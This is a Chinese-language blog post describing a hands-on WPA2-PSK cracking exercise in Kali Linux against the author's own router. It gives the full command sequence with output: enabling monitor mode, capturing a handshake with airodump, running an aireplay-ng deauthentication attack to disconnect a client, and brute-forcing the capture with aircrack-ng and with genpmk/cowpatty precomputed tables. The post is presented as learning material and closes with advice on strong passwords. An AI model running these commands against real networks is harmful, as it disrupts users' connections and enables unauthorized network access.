wpa破解学习实践

概述:

针对WEP的一些弱点,WPA(WiFi Protected Access)一一改进:

WPA又分两种基本类别:

• WPA Enterprise (requires a Radius server)
• WPA Personal (also known as WPA-PSK)

我们一般使用的是WPA Personal,也就是一个AP只有一个密钥(Pre-shared Key)。

WPA又有WPA和WPA2,前者只能使用TKIP(Temporary Key Integrity Protocol)加密,后者除TKIP外还能使用AES(Advanced Encryption Standard)进行加密。

 

实践:

环境: 虚拟机kali 2.0 + usb无线网卡(360随身wifi) + 无线路由(使用wpa2-psk加密)

利用系统自带的aircrack-ng套件进行实验。关于aircrack-ng的使用可参考 http://kalitut.blogspot.sg/2015/09/crack-wpa2-wifi-password.html

第一步:先将无线网卡开成监听模式。(期间要求关闭3个进程)

root@kali:~# iwconfig
wlan0     IEEE 802.11bgn  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          
lo        no wireless extensions.

eth0      no wireless extensions.
root@kali:~# airmon-ng start wlan0

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

  PID Name
  702 NetworkManager
  847 wpa_supplicant
 5674 dhclient

PHY    Interface    Driver        Chipset

phy0    wlan0        mt7601u        Ralink Technology, Corp. MT7601U

        (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
        (mac80211 station mode vif disabled for [phy0]wlan0)

root@kali:~# kill 702 847 5674
root@kali:~# airmon-ng start wlan0


PHY    Interface    Driver        Chipset

phy0    wlan0mon    mt7601u        Ralink Technology, Corp. MT7601U

 

第二步:开始监听。

root@kali:~# airodump wlan0mon

以下为监听结果(为了保护信息,做了些模糊处理):

其中BSSID为AP(Access Point)的硬件地址,CH为所在的信道(一般是1、6、11),ESSID就是AP的名字。下方的STATION是连入该ap的一些客户。

此时右上角是空白的,说明并没有捕获到wpa握手包。(也就是监听期间并没有新用户进行验证连接该ap)

选定一个AP进行监听。我们选择下面监听到多个客户连入的这个AP(以6C:E8开头的MAC):

root@kali:~# airodump -w test --channel 11 --bssid 6C:E8:XX:XX:XX:XX wlan0mon

其中-w test表示将抓到的包存到新建的test文件中。

 

第三步:为了尽快捕获握手包,进行Deauthenticate验证攻击

root@kali:~# aireplay-ng -0 10 -a 6C:E8:73:F9:54:D2 -c 70:18:8B:38:85:B1 wlan0mon 
10:19:03  Waiting for beacon frame (BSSID: 6C:E8:73:F9:54:D2) on channel 11
10:19:04  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [13|65 ACKs]
10:19:05  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [21|64 ACKs]
10:19:05  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [29|65 ACKs]
10:19:06  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [57|62 ACKs]
10:19:07  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX;XX] [62|64 ACKs]
10:19:07  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX;XX] [62|64 ACKs]
10:19:08  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [64|64 ACKs]
10:19:09  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [62|65 ACKs]
10:19:09  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [58|64 ACKs]
10:19:10  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [59|65 ACKs]

其中的参数-0是Deauthenticate攻击,10是发送数据包的数量,-a是要攻击的AP硬件地址,-c是连入该AP的客户端的硬件地址(非必须,但有的话攻击成功率高)。

成功捕获握手包!

 

第四步:用ctrl+c中断监听,可见当前目录下多了以test-01开头的四个文件。我们要用的是test-01.cap,对它进行暴力破解。

当然你得有字典文件,我这里使用了kali自带的字典,具体可参考前面给出的网址。

这里为了实验我作弊了,因为我的ap密码设置的比较复杂,暴力破解的难度比较高。所以我直接把密码添加到字典的第30000行上~

root@kali:~# aircrack-ng -w kalitut.txt test-01.cap

在我的虚拟机里能以800keys/s的速度破解,很快就找到了(图中模糊处),用时36秒

 

如何提升破解速度:

Time-Memory Trade-Offs是指将字典中的明文密码提前转换成hash值,建立高速wpa hash tables,用这个tables去对抓到的握手包进行暴力破解。

顾名思义,这么做会消耗更多存储空间,以换取破解时间的减少。

我们可以使用genpmk来建立高速wpa hash tables,这个genpmk是另一个无线破解工具cowpatty提供的。

这里如果要对我之前用的整个字典文件全部转换的话,这个过程要很久。所以我先提取前面的40000行出来建立tables就好了。

root@kali:~# genpmk -f kalitut2.txt -d testtables -s XXX
genpmk 1.1 - WPA-PSK precomputation attack. <jwright@hasborg.com>
File testtables does not exist, creating.
key no. 1000: ภ-จุๅภถถ/ึ
key no. 2000: 000000sa
key no. 3000: 00008114

-- snip --
key no. 39000: 0111398899
key no. 40000: 01129112

40000 passphrases tested in 132.22 seconds:  302.53 passphrases/second

其中参数-f是原来的明文字典,-d是生成的tables名,-s是AP的名称。

 

用生成的tables再次进行破解:

root@kali:~# cowpatty -d testtables -r test-01.cap -s XXX

其中参数-d是之前生成的tables,-r是抓到的包,-s是AP名。

速度达到134600.37keys/s,只用了0.22秒就找到了!比刚刚的36秒快多了!

 

总结:目前来看,wpa2的安全性还是相对较高的,针对它的破解一般基于暴力破解。所以我们只要设置好强度高的密码,一般就没什么问题了。

 

posted @ 2016-04-16 10:59  燃烧少年的心  阅读(978)  评论(0编辑  收藏  举报